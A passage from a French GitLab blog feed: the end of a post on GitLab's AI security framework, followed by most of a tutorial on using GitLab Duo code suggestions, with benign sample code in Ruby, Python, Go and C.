<p>Pour répondre à ces questions, nous avons créé le <a href="https://trust.gitlab.com/?itemUid=ad3d92c1-889e-49fc-b19c-2434f70071ee&amp;source=click">framework de sécurité relatif à l'IA de GitLab</a> afin de montrer aux responsables de la sécurité comment GitLab et ses clients peuvent garantir un développement sécurisé alimenté par l'IA avec <a href="https://about.gitlab.com/fr-fr/gitlab-duo/" title=" Qu'est-ce que GitLab Duo ?">GitLab Duo</a>.</p>
<h2>La genèse des défis de sécurité liés à l'IA</h2>
<p>Les responsables sécurité de divers secteurs mentionnent tous le même schéma : leurs organisations adoptent rapidement les technologies d'IA pour améliorer la livraison logicielle, alors que leurs équipes sécurité peinent à établir des contrôles adéquats.</p>
<p>Cette problématique n'est pas simplement une question de ressources ou d'expertise, elle représente un changement fondamental dans la façon dont les organisations doivent aborder la sécurité à l'ère de l'IA. Les responsables sécurité assistent à une adoption rapide et sans précédent de l'IA dans leurs organisations, des équipes de développement aux départements marketing.</p>
<p>Les organisations intègrent l'IA dans leurs propres logiciels, et nombre de leurs applications SaaS actuelles ont également des fonctionnalités d'IA. Bien que cette adoption favorise l'innovation et l'efficacité, elle crée également un ensemble complexe de problématiques de sécurité que les frameworks traditionnels n'étaient pas conçus pour traiter.</p>
<p>Voici quelques-uns des défis spécifiques que nous avons identifiés.</p>
<h2>Les défis de sécurité à l'ère de l'IA</h2>
<p><strong>1. Incertitudes concernant la responsabilité et le contrôle</strong></p>
<p>En raison du rythme rapide d'adoption de l'IA, de nombreuses organisations se retrouvent sans stratégie cohérente de gouvernance de sécurité. Les équipes de sécurité doivent alors essayer d'adapter les frameworks de sécurité existants pour répondre aux préoccupations spécifiques à l'IA. Quant aux responsables sécurité, ils tentent de comprendre où commencent et s’arrêtent leurs responsabilités en matière de sécurité liée à l'IA. La traditionnelle relation fournisseur-client se complexifie avec les systèmes d'IA, car les flux de données, l'entraînement des modèles et les processus d'inférence créent de nouveaux types d'interactions et de dépendances.</p>
<p><strong>2. Évolution de l'évaluation des risques</strong></p>
<p>Les modèles de risques de sécurité traditionnels peinent à capturer les caractéristiques uniques des systèmes d'IA. Les responsables sécurité constatent que les frameworks standards d'évaluation des risques ne traitent pas correctement les risques de sécurité spécifiques à l'IA, qui diffèrent selon l'implémentation et le contexte d'utilisation. Plus difficile encore, les organisations doivent évaluer les fournisseurs d'IA alors que leurs équipes de sécurité ne disposent pas forcément d'une expertise technique approfondie sur ce sujet.</p>
<p><strong>3. Complexification de la protection des données</strong></p>
<p>Les systèmes d'IA présentent des défis uniques en matière de protection des données. La façon dont ces systèmes traitent, apprennent et génèrent des données crée de nouveaux problèmes de confidentialité et de sécurité que les organisations doivent évaluer soigneusement. Les RSSI sont tenus de s'assurer que leurs frameworks de gouvernance des données évoluent afin de pouvoir s'adapter à la façon dont les systèmes d'IA utilisent et protègent les informations sensibles. Implémenter l'IA sans mesures de protection adéquates pourrait révéler par inadvertance des informations confidentielles dans les résultats générés par l'IA.</p>
<p><strong>4. Conformité et normes</strong></p>
<p>Le paysage réglementaire relatif à la sécurité de l'IA évolue rapidement : de nouvelles normes, notamment la <a href="https://about.gitlab.com/fr-fr/blog/gitlab-achieves-iso-iec-42001-certification-for-ai-governance/">norme ISO 42001</a>, sont mises en place en parallèle des frameworks existants. Les responsables sécurité doivent apprendre à gérer cet environnement complexe et s'assurer que leurs implémentations d'IA restent conformes aux réglementations actuelles et futures. Ils doivent trouver un équilibre entre adoption de l'IA et contrôles de sécurité robustes qui répondent aux exigences réglementaires.</p>
<h2>Comment relever ces défis ?</h2>
<p>Pour répondre aux préoccupations des RSSI, nous avons développé un framework complet pour aider les organisations à gérer la sécurité de l'IA dans le contexte de notre plateforme <a href="https://about.gitlab.com/fr-fr/topics/devsecops/" title="Qu'est-ce que le DevSecOps ?">DevSecOps</a> alimentée par l'IA. Notre framework de sécurité relatif à l'IA détaille notre implémentation axée sur la confidentialité de l'IA dans GitLab Duo et les procédures de validation de sécurité de nos fournisseurs d'IA. Il comprend également une matrice de responsabilités pour aider les responsables sécurité à gérer leurs tâches liées à la sécurité de l'IA et à innover dans un environnement sécurisé. Nous avons également compilé une sélection de risques de sécurité spécifiques à l'IA à garder à l'esprit et mis en évidence la façon dont les fonctionnalités de GitLab comme les <a href="https://about.gitlab.com/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers/">garde-fous relatifs aux prompts</a> peuvent aider à les atténuer.</p>
<blockquote>
<p>Vous souhaitez en savoir plus sur nos contrôles de sécurité ? Consultez notre <a href="https://trust.gitlab.com/?itemUid=ad3d92c1-889e-49fc-b19c-2434f70071ee&amp;source=click">framework de sécurité relatif à l'IA</a>.</p>
</blockquote>
<h2>En savoir plus</h2>
<ul>
<li><a href="https://about.gitlab.com/fr-fr/ai-transparency-center/">Centre pour la transparence de l'IA de GitLab</a></li>
<li><a href="https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/">Améliorer la sécurité de l'IA dans GitLab avec des identités composites</a></li>
<li><a href="https://about.gitlab.com/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features/">Sécurité, conformité et IA : découvrez 3 nouvelles fonctionnalités GitLab</a></li>
<li><a href="https://about.gitlab.com/blog/icymi-key-ai-and-security-insights-from-our-developer-community/">Informations clés sur l'IA et sécurité de notre communauté de développeurs</a></li>
</ul>
]]></content>
        <author>
            <name>Kyle Smith</name>
            <uri>https://about.gitlab.com/blog/authors/kyle-smith</uri>
        </author>
        <author>
            <name>Ayoub Fandi</name>
            <uri>https://about.gitlab.com/blog/authors/ayoub-fandi</uri>
        </author>
        <published>2025-09-11T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo : optimiser les suggestions de code de l'IA]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/"/>
        <updated>2025-09-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://about.gitlab.com/fr-fr/gitlab-duo/">GitLab Duo</a>, notre suite de fonctionnalités alimentées par l'IA, offre une occasion unique d'optimiser vos workflows DevSecOps. Pour en tirer pleinement parti, rien ne vaut la pratique et l'apprentissage collaboratif en situation réelle. Ce tutoriel se concentre sur les suggestions de code de GitLab Duo. Il fournit des conseils et des bonnes pratiques ainsi que quelques bonus (notamment comment combiner les suggestions de code avec nos autres fonctionnalités d'IA pour gagner encore en efficacité). Vous découvrirez également comment l'IA améliore considérablement l'expérience développeur.</p>
<p>Les bonnes pratiques, conseils et exemples présentés dans cet article ont été conçus sur mesure par l'équipe Developer Relations de GitLab. Ils sont intégrés à la <a href="https://docs.gitlab.com/ee/user/gitlab_duo/index.html">documentation dédiée à GitLab Duo</a> ainsi qu'au <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts">projet GitLab Duo Prompts</a> associé. N'hésitez pas à ajouter cette page à vos favoris et revenez-y dès que vous en ressentirez le besoin.</p>
<h2>Pourquoi utiliser les suggestions de code de GitLab Duo ?</h2>
<p>Prenons comme exemple deux scénarios :</p>
<ol>
<li>
<p>En tant que développeur senior, vous maîtrisez différents langages de programmation pour pouvoir écrire du nouveau code source, réviser celui de vos pairs, concevoir des architectures résilientes et lancer de nouveaux projets. Cependant, se former sur les nouvelles fonctionnalités des langages de programmation nécessite du temps, des recherches et un réel effort d'adaptation. Alors, comment apprendre rapidement celles qui pourraient rendre votre code encore plus performant ou utiliser les ressources de manière plus durable ?</p>
<ul>
<li>Personnellement, j'ai appris la norme C++03, puis adopté C++11 sans jamais vraiment m'approprier les versions C++14/17/20/23. Entre-temps, de nouveaux langages tels que <a href="https://about.gitlab.com/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/">Rust</a> sont apparus, et ils offrent une expérience développeur bien plus moderne. Que faire dans ce contexte ?</li>
</ul>
</li>
<li>
<p>En tant qu'ingénieur junior, il peut être difficile d'appréhender de nouveaux projets, d'apprendre un nouveau langage de programmation, de comprendre certains algorithmes spécifiques et de trouver la documentation sur les structures, les interfaces et d'autres composants techniques. Le tout, souvent sous pression, ce qui augmente le risque d'erreurs et entraîne des blocages. Le temps manque pour se pencher sur les bonnes pratiques.</p>
<ul>
<li>Moi-même, je n'ai jamais réellement appris le développement frontend. J'ai quelques notions en HTML, CSS et JavaScript acquises en autodidacte. Et après dix ans, j'ai du mal à m'adapter à des frameworks frontend tels que VueJS. Et le temps pour apprendre se fait rare.</li>
</ul>
</li>
</ol>
<p>Ces scénarios illustrent à quel point il est difficile de suivre l'évolution constante des langages de programmation, bonnes pratiques et autres informations importantes. Mais les <a href="https://about.gitlab.com/fr-fr/solutions/code-suggestions/">suggestions de code de GitLab Duo</a> peuvent vous aider : elles prédisent et complètent vos blocs de code, définissent la logique de vos fonctions, génèrent des tests automatisés et proposent du code courant, comme des motifs regex, le tout directement dans votre environnement de développement. Alimentée par l'IA, cette fonctionnalité vous aide à approfondir vos connaissances sans quitter votre workflow.</p>
<h2>Commencer avec des prompts simples, puis les affiner</h2>
<p>J'ai commencé mon parcours d'adoption de GitLab Duo par des prompts simples tenant sur une ligne, souvent avec des résultats peu convaincants.</p>
<pre><code># Generate a webserver

// Create a database backend

/* Use multi-threaded data access here */
</code></pre>
<p>Après avoir testé différents contextes et styles de rédaction de prompts, j'ai rapidement constaté que la génération de code était beaucoup plus pertinente à partir de requêtes affinées.</p>
<pre><code># Generate a webserver, using the Flask framework. Implement the / URL endpoint with example output.

// Create a database backend. Abstract data handlers and SQL queries into function calls.

/* Use multi-threaded data access here. Create a shared locked resource, and focus on supporting Linux pthreads. */
</code></pre>
<p>Cependant, les prompts et commentaires seuls ne suffisent pas. Explorons d'autres bonnes pratiques.</p>
<h2>Pratiquer continuellement</h2>
<p>Dans vos workflows quotidiens, identifiez des cas d'utilisation et des défis spécifiques, et utilisez exclusivement GitLab Duo pour les traiter. Bien qu'il soit tentant d'ouvrir des onglets de recherche dans votre navigateur, vous pouvez souvent résoudre le problème directement dans votre IDE avec GitLab Duo. Voici quelques exemples :</p>
<ol>
<li>Corrigez des dépendances manquantes, souvent responsables d'échecs lors de la compilation ou de l'exécution.</li>
<li>Laissez les suggestions de code compléter automatiquement les appels de fonction lorsque le contexte de journalisation est manquant, y compris les instructions <code>print</code>.</li>
<li>Générez des méthodes et des attributs courants pour les design patterns orientés objet (par exemple, les accesseurs/mutateurs getter/setter, les méthodes <code>toString()</code>, les opérateurs de comparaison d'objets, l'héritage d'objets, et bien plus encore).</li>
<li>Identifiez la fonction à l'origine de plantages aléatoires et implémentez-en une nouvelle avec un algorithme différent à l'aide des suggestions de code.</li>
<li>En cas d'erreur cryptique empêchant la compilation ou l'exécution, demandez à GitLab Duo Chat de vous aider.</li>
<li>Analysez le code (hérité) existant et les stratégies pour documenter et refactoriser le code vers des bibliothèques modernes. Lancez une version v2 de l'application avec un nouveau framework ou langage afin de réduire la dette technique.</li>
<li>Prévenez les problèmes d'opérations et de sécurité dans l'historique Git en les détectant en amont (performances, plantages, failles de sécurité).</li>
</ol>
<p>Enfin, pensez à la tâche de codage la plus ennuyeuse (voire celle que vous détestez le plus) et ajoutez-la à cette liste. Personnellement, je redoute les tâches impliquant les accesseurs/mutateurs getter/setter d'attributs dans les classes C++ (comme le montre la vidéo ci-dessous), juste avant les expressions régulières d'analyse du format des adresses e-mail.</p>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/Z9EJh0J9358?si=QGvQ6mXxPPz4WpM0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line -&gt;</p>
<p>Il peut également être utile d'utiliser les suggestions de code dans différents langages de programmation, par exemple en alternant entre langages backend et frontend. Si vous maîtrisez plusieurs d'entre eux, réutilisez ceux que vous n'avez pas pratiqués depuis un certain temps, ou envisagez d'en apprendre un nouveau, tel que <a href="https://about.gitlab.com/blog/learning-python-with-a-little-help-from-ai-code-suggestions/">Python</a> ou <a href="https://about.gitlab.com/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/">Rust</a>.</p>
<p>Une fois intégrées dans un workflow d'auto-complétion rapide, les suggestions de code ne souffrent d'aucune interruption. Le code suggéré s'affiche en grisé et reste facultatif, selon l'interface utilisateur, par exemple VS Code, ce qui ne vous empêchera pas de continuer à écrire du code source sans distraction. Prenez le temps de vous familiariser avec la façon dont les suggestions de code s'affichent et la manière de les accepter entièrement ou partiellement. Vous verrez qu'elles deviendront très vite une aide discrète mais précieuse pour écrire du code de meilleure qualité.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_java_springboot_class_methods_tostring.png" alt="Image avec suggestions de code grisées"></p>
<h3>Corriger les dépendances manquantes</h3>
<p>Il n'est pas rare que la compilation ou l'exécution du code source échoue à cause de dépendances non déclarées, qui peuvent être journalisées et empêcher toute exécution et tout test ultérieurs. Prenons l'exemple suivant en Go : une erreur générée par <code>go build</code> signale que le code source n'a pas encore importé les dépendances nécessaires. L'approche manuelle consisterait à collecter toutes les dépendances répertoriées, à les trier de manière unique et à les ajouter dans le fichier de code source, comme illustré ci-dessous.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_build_failed_missing_deps.png" alt="Échec de la compilation Go – dépendances manquantes"></p>
<p>Mais si GitLab Duo connaît déjà le contexte du fichier et peut identifier les dépendances manquantes, pourquoi ne pas en profiter ? Dans la section située tout en haut du fichier, il suffit d'ajouter un commentaire indiquant <code>// add missing imports</code>, puis de patienter un instant : les suggestions de code proposeront automatiquement les lignes à importer.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_build_failed_missing_deps_suggested_fix.png" alt="Suggestions de code de GitLab Duo – correction suggérée pour les dépendances manquantes ayant entraîné l'échec de la commande go build"></p>
<p>Ensuite, relancez <code>go build</code>, et si tout se passe bien, le code source pourra être testé et s'exécutera correctement.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_build_failed_missing_deps_fixed.png" alt="Échec de la commande go build – correction des dépendances manquantes"></p>
<h3>Générer du code standardisé avec une journalisation optimisée</h3>
<p><em>Défi : mettre en place un système de journalisation, et d'autres mécanismes d'observabilité incluant des indicateurs et traces, peut s'avérer fastidieux et complexe. Quel est le moyen le plus efficace de les mettre en œuvre sans affecter les performances de l'application ni introduire de bogues ?</em></p>
<p><em>Solution : utilisez les suggestions de code pour générer les appels de fonction de journalisation et refactorisez le code en vous appuyant sur des abstractions robustes via des bibliothèques d'instrumentation dédiées à l'observabilité. Cette approche peut par exemple vous aider à préparer le code pour une intégration ultérieure avec <a href="https://docs.gitlab.com/ee/development/stage_group_observability/gitlab_instrumentation_for_opentelemetry.html">OpenTelemetry</a>.</em></p>
<p>Exemple d'une classe de journalisation en Ruby :</p>
<pre><code class="language-ruby"># Create Logging utility class
# Define default log level as attribute
# Add method for logging, inputs: level, app, message
# Print the data with formatted date and time in syslog format

# Potential AI-generated code below
class Logging
  attr_accessor :log_level

  def log(level, app, message)
    time = Time.now.strftime(&quot;%b %d %H:%M:%S&quot;)
    puts &quot;#{time} #{app}[#{Process.pid}]: #{level} - #{message}&quot;
  end
end

# Instantiate class and test the log method

# Potential AI-generated code below
logger = Logging.new
logger.log_level = :debug

logger.log(:info, 'MyApp', 'Application started - info')
logger.log(:debug, 'MyApp', 'Application started - debug')
logger.log(:error, 'MyApp', 'Application started - error')
logger.log(:fatal, 'MyApp', 'Application started - fatal')
logger.log(:warn, 'MyApp', 'Application started - warn')
</code></pre>
<h3>Créer des tests pour les fonctions d'assistance utilitaires</h3>
<p><em>Défi : le langage de programmation utilisé ne fournit pas certaines fonctions de base dans sa bibliothèque standard. L'envie est grande d'ouvrir un onglet de recherche dans mon navigateur pour trouver et ajouter des fonctions de manipulation de chaînes et d'analyse via des expressions régulières.</em></p>
<p><em>Solution : Créez un fichier nommé <code>utility.{language-suffix}</code> et ajoutez un commentaire en tête de fichier. Demandez ensuite aux suggestions de code de générer la fonction de manipulation de chaîne ().</em></p>
<p>Exemple de méthode de manipulation de chaîne en Python :</p>
<pre><code class="language-python"># Create a function to search for a string in a string, return the index
# Optionally remove search string, and return modified string
# Test the function on the string &quot;Cool programming languages: C++, Rust, Python&quot; - Remove the string &quot;C++&quot;

# Potential AI-generated code below
def search_and_remove(text, search):
    index = text.find(search)
    if index != -1:
        return index, text[:index] + text[index+len(search):]
    else:
        return None, text

text = &quot;Cool programming languages: C++, Rust, Python&quot;
index, new_text = search_and_remove(text, &quot;C++&quot;)
print(index, new_text)
</code></pre>
<p><strong>Exercice asynchrone :</strong> demandez à GitLab Duo Chat comment ajouter des tests en Python, sélectionnez le code source concerné et utilisez la commande slash <code>/tests</code>.</p>
<p>Exemple similaire en Go : créez des fonctions utilitaires pour obtenir les valeurs entières uniques dans un tableau, ou pour calculer la somme de toutes les valeurs paires. Commencez par définir la structure du projet via <code>go mod init gitlab.com/group/project</code>, puis créez un fichier <code>array.go</code>. Définissez le <code>package</code> et ajoutez un premier commentaire pour générer des fonctions.</p>
<pre><code class="language-go">package array 

// Create a function that returns unique values from an integer array

// Possible AI-generated code
func unique(ints []int) []int {
    occurred := map[int]bool{}
    result := []int{}
    for _, i := range ints {
        if !occurred[i] {
            occurred[i] = true
            result = append(result, i)
        }
    }
    return result
}

// Create a function that returns the sum of all even numbers in an integer array

// Possible AI-generated code
func sumEvens(ints []int) int {
    var sum int
    for _, i := range ints {
        if i%2 == 0 {
            sum += i
        }
    }
    return sum
}
</code></pre>
<p><strong>Exercice asynchrone</strong> : créez plus de fonctions utilitaires dans des bibliothèques dédiées et utilisez GitLab Duo Chat pour sélectionner et générer les tests via la commande <code>/tests</code>. Pour l'exemple en Go, vous pouvez consulter les solutions potentielles disponibles dans le fichier <code>go/utility/array_test.go</code> du <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts">projet Prompts de GitLab Duo</a>. Compilez et testez ensuite le code à l'aide de <code>go build &amp;&amp; go test</code>.</p>
<h3>Générer des expressions régulières sur mesure</h3>
<p>Les expressions régulières sont des lignes de code, souvent sur une seule ligne (ou « one liners » en anglais), que les développeurs aiment écrire à la va-vite, qui fonctionnent et donc, qu'ils ne mettent jamais à jour. Il est possible d'utiliser <code>git blame</code> pour savoir qui l'a écrite et quand, mais le contexte de ces lignes reste souvent obscur. GitLab Duo peut vous aider à les créer, les expliquer et les refactoriser, comme dans l'exemple suivant :</p>
<p><em>Défi : certaines expressions régulières pour analyser des adresses IPv6 et IPv4 ne fonctionnent pas. Quelle est la meilleure approche pour résoudre ce problème ?</em></p>
<p><em>Solution : ajoutez les commentaires suggérés par les suggestions de code pour générer des exemples adaptés à ces types de regex. Utilisez également GitLab Duo Chat pour poser vos questions et demandez des variantes dans d'autres langages. Vous pouvez également sélectionner un extrait de code source et soumettre un prompt affiné avec <code>/refactor using regular expressions</code> via Chat.</em></p>
<p><strong>Exercice asynchrone</strong> : choisissez votre langage préféré, créez une fonction factice (stub) qui vérifie que format des chaînes d'adresses IPv6 et IPv4 est valide. Laissez les suggestions de code générer le code d'expression régulière de vérification à votre place. Vous pouvez également utiliser Chat pour affiner ou refactoriser cette regex pour bénéficier de meilleures performances.</p>
<p>Exemple pour ce tutoriel : j'ai choisi TypeScript, un langage qui figure sur ma liste d'apprentissage personnelle pour 2024. Voici mon prompt : '// Generate a TypeScript function which parses IPv6 and IPv4 address formats. Use regular expressions`.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_typescript_utility_parse_ip_address_regex.png" alt="Suggestions de code - utilitaire TypeScript pour les regex de vérification d'adresses IP"></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_typescript_utility_parse_ip_address_regex_tests.png" alt="Suggestions de code TypeScript - tests de l'utilitaire pour les regex de vérification d'adresses IP"></p>
<h2>Maîtriser les suggestions de code</h2>
<p>Vous pouvez activer les suggestions de code en appuyant sur la touche <code>Entrée</code> ou <code>Espace</code>, selon le contexte. Dans VS Code comme dans le Web IDE de GitLab, l'icône GitLab Duo s'affiche sur la même ligne que la suggestion, ainsi qu'en bas de la fenêtre.</p>
<p>Si vous avez accepté une suggestion, mais que vous souhaitez en fait en essayer une autre, sélectionnez la ligne de code concernée, supprimez-la et reprenez à zéro.</p>
<blockquote>
<p><strong>Astuce :</strong> cette vidéo présente des combinaisons de touches et des stratégies complémentaires pour mieux utiliser les suggestions de code :</p>
</blockquote>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/ORpRqp-A9hQ?si=CmA7PBJ9ckWsvjO3&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line -&gt;</p>
<h3>Utiliser les raccourcis clavier pour relancer les suggestions de code</h3>
<p>En particulier dans la phase d'adoption initiale des suggestions de code, vous devrez vous entraîner pour obtenir des résultats optimaux à partir des commentaires, du style de code existant, etc., mis en contexte.</p>
<p>Voici quelques combinaisons de touches couramment utilisées pour déclencher des suggestions :</p>
<ol>
<li>Appuyez sur <code>Entrée</code> et attendez que la suggestion s'affiche.</li>
<li>Appuyez sur <code>Espace</code>, puis sur <code>Retour arrière</code> pour supprimer immédiatement l'espace.</li>
<li>Appuyez sur <code>Entrée</code> à nouveau pour déclencher une nouvelle suggestion, puis sur <code>Retour arrière</code> pour effacer les nouvelles lignes vides restantes.</li>
</ol>
<p>Lorsqu'une suggestion semble pertinente, ou que vous souhaitez tester jusqu'où elle peut vous mener :</p>
<ol>
<li>Continuez à appuyer sur la touche <code>Tab</code> pour l'accepter.</li>
<li>Ajoutez un espace ou appuyez sur <code>Entrée</code> pour ouvrir une nouvelle portée afin de déclencher une nouvelle suggestion.</li>
<li>Continuez à accepter les suggestions avec <code>Tab</code>.</li>
</ol>
<p>Notez que l'IA générative finit parfois par suggérer en boucle des chemins de code similaires, encore et encore. Vous pouvez déclencher ce comportement en insérant des données de test dans un tableau (par exemple, des chaînes et des nombres de manière ordonnée) ou en générant plusieurs points de terminaison d'API, car elle essaie alors d'anticiper les autres points de terminaison qui pourraient être utiles. Dans ce cas, interrompez le flux d'acceptation et continuez à écrire du code normalement.</p>
<h3>Gérer les suggestions de code incomplètes</h3>
<p>Parfois, les suggestions de code s'arrêtent au milieu d'une définition de variable, de fonction, ou d'une structure incomplète. Si vous avez un doute quant à la syntaxe ou souhaitez relancer les suggestions de code, voici quelques options possibles :</p>
<ol>
<li>Supprimez le ou les derniers caractères, voire la ligne dans son intégralité, avec la touche <code>Retour arrière</code>.</li>
<li>Vous pouvez également utiliser <code>Maj curseur gauche</code> (sélectionner les caractères) <code>cmd Maj curseur gauche</code> (sélectionner la ligne entière), puis appuyer sur <code>Retour arrière</code>.</li>
<li>Une autre option consiste à placer le curseur sur la ligne du dessus, puis appuyez sur <code>Entrée</code> pour forcer à nouveau le déclenchement des suggestions de code.</li>
</ol>
<h3>Gérer les suggestions de code qui s'interrompent</h3>
<p>Si les suggestions de code cessent de fonctionner, plusieurs raisons peuvent en être à l'origine :</p>
<ol>
<li>La portée du fichier actuel se termine, par exemple, une fonction <code>main()</code> a été entièrement générée et fermée.</li>
<li>Il peut s'agit d'un problème de connexion à l'instance GitLab (édition Self-Managed) ou à GitLab.com (SaaS, <a href="https://about.gitlab.com/fr-fr/dedicated/">Dedicated</a>). Dans ce cas, référez-vous à la <a href="https://docs.gitlab.com/ee/user/project/repository/code_suggestions/troubleshooting.html">documentation de dépannage</a>.</li>
</ol>
<h2>Différencier suggestions et génération de code</h2>
<p>Les suggestions de code s'affichent à mesure que vous écrivez du code pour vous aider à compléter une ou plusieurs lignes. La génération de code, quant à elle, nécessite davantage de contexte pour créer des blocs entiers, comme des fonctions, des algorithmes, des classes, et bien plus encore.</p>
<p>Les sections suivantes expliquent en détail les deux approches et comment commencer, avec un exemple pratique.</p>
<h3>Intégrer les commentaires au flux de suggestions de code</h3>
<p>Utilisez votre flux de programmation naturel et insérez des commentaires de code lorsque cela fournit du contexte afin d'obtenir de meilleures suggestions. Pour accepter les suggestions de code, appuyez sur la touche <code>Tab</code>, ou acceptez-les mot par mot à l'aide du raccourci <code>cmd + flèche droite</code>.</p>
<p>Le défi suivant consiste à implémenter un outil de statistiques Linux simple, en C, qui reproduit les fonctionnalités des commandes CLI <code>iostat</code>, <code>vmstat</code> et <code>du</code>. Parfois, ces indicateurs détaillés sont utiles pour présenter les statistiques de l'application, ou faciliter le débogage, notamment lors de la collecte de données d'assistance auprès des utilisateurs.</p>
<p>Créez un répertoire d'application nommé <code>linux_stat</code> ainsi qu'un fichier <code>main.c</code>, puis laissez les suggestions de code compléter le reste à partir d'un simple bloc de commentaires initial :</p>
<pre><code class="language-c">// Create a Linux statistic tool
// Collect IO, performance, disk usage, TCP latency
// Print summaries
</code></pre>
<p>Appuyez ensuite sur <code>Entrée</code> pour déclencher la création de la méthode <code>main()</code>. Si elle n'est pas créée automatiquement, ajoutez un nouveau commentaire explicite pour forcer sa création.</p>
<pre><code class="language-c">// Create main function to collect data
</code></pre>
<p>Lors de mes tentatives, l'IA générative n'a pas immédiatement implémenté toutes les fonctionnalités. Au lieu de cela, elle a ajouté un commentaire <code>TODO</code> dans le bloc de code suivant.</p>
<pre><code class="language-c">int main() {
    struct stat statbuf;

    if (stat(&quot;/etc&quot;, &amp;statbuf) != 0) {
        perror(&quot;stat&quot;);
        return 1;
    }

    printf(&quot;IO Block Size: %ld
&quot;, statbuf.st_blksize);

    // TODO: add CPU usage, disk usage, network latency measurements

    return 0;
}
</code></pre>
<p>Placez le curseur après le commentaire <code>TODO</code>, puis ajoutez un nouveau commentaire pour collecter les données sur l'utilisation du CPU :</p>
<pre><code class="language-c">    // Collect CPU usage

    // Example for AI-generated code below
    double cpu_usage;

    FILE* stat_file = fopen(&quot;/proc/stat&quot;, &quot;r&quot;);
    if (stat_file == NULL) {
        perror(&quot;fopen&quot;);
        return 1;
    }

    // Parse /proc/stat to get CPU usage
    fscanf(stat_file, &quot;cpu %lf&quot;, &amp;cpu_usage);

    printf(&quot;CPU Usage: %.2f%%
&quot;, cpu_usage * 100);

    fclose(stat_file);
</code></pre>
<p>Le code généré peut ne pas être précis à 100 %, car la mesure de l'utilisation du CPU sur Linux nécessite de prendre des échantillons sur une plage de temps définie. Il faudra donc calculer l'utilisation réelle du processeur à partir de toutes les valeurs dans <code>/proc/stat</code>, y compris <a href="https://www.kernel.org/doc/Documentation/filesystems/proc.txt"><code>system, nice, user, idle, iowait</code>, etc.</a>.</p>
<p><strong>Exercice asynchrone :</strong> optimisez le processus de collecte en ajoutant un calcul de moyenne.</p>
<p>Répétez les étapes pour mesurer l'utilisation du disque et la latence du réseau. Vous rédigez le commentaire, et GitLab Duo génère le code C.</p>
<pre><code class="language-c">    // Collect disk usage

    // Collect network latency

    // Example for AI-generated code below
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in servaddr;
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(80);
    inet_pton(AF_INET, &quot;8.8.8.8&quot;, &amp;servaddr.sin_addr);
</code></pre>
<p>Le code généré peut utiliser une adresse IP publique pour tester la latence du réseau. Remplacez-la par l'adresse actuelle de GitLab.com.</p>
<pre><code class="language-c">    inet_pton(AF_INET, &quot;172.65.251.78&quot;, &amp;servaddr.sin_addr);
</code></pre>
<p>Le code source généré a ajouté plus de dépendances d'en-tête. Accédez à la section supérieure du fichier et ajoutez un commentaire pour inclure tous les en-têtes nécessaires :</p>
<pre><code class="language-c">// Import required headers
</code></pre>
<p>Compilez et exécutez l'application sur Linux, par exemple sur Ubuntu 22 LTS :</p>
<pre><code class="language-shell"># Install compiler
apt install gcc

# Build
gcc main.c -o linux_stat

# Build: If the math.h header is included, linking against the library is needed, too
gcc linux_stat.c -o linux_stat -lm

# Run the tool
./linux_stat
</code></pre>
<p><strong>Bonus :</strong> modifiez le code pour utiliser IPv6 et récupérez l'adresse IPv6 de GitLab.com (<code>dig gitlab.com AAAA +short</code>).</p>
<pre><code class="language-c">    // Collect network latency

    // Use IPv6 

    // Example for AI-generated code below
    struct sockaddr_in6 servaddr;
    servaddr.sin6_family = AF_INET6;
    servaddr.sin6_port = htons(80);
    //inet_pton(AF_INET6, &quot;2001:db8::1&quot;, &amp;servaddr.sin6_addr);
    inet_pton(AF_INET6, &quot;2606:4700:90:0:f22e:fbec:5bed:a9b9&quot;, &amp;servaddr.sin6_addr);

    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_c_linux_stat_tests.png" alt="Tests Linux stat en C"></p>
<p>Le code source complet et fonctionnel est disponible dans le <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts">projet GitLab Duo Prompts</a>, dans le répertoire dédié au code C.</p>
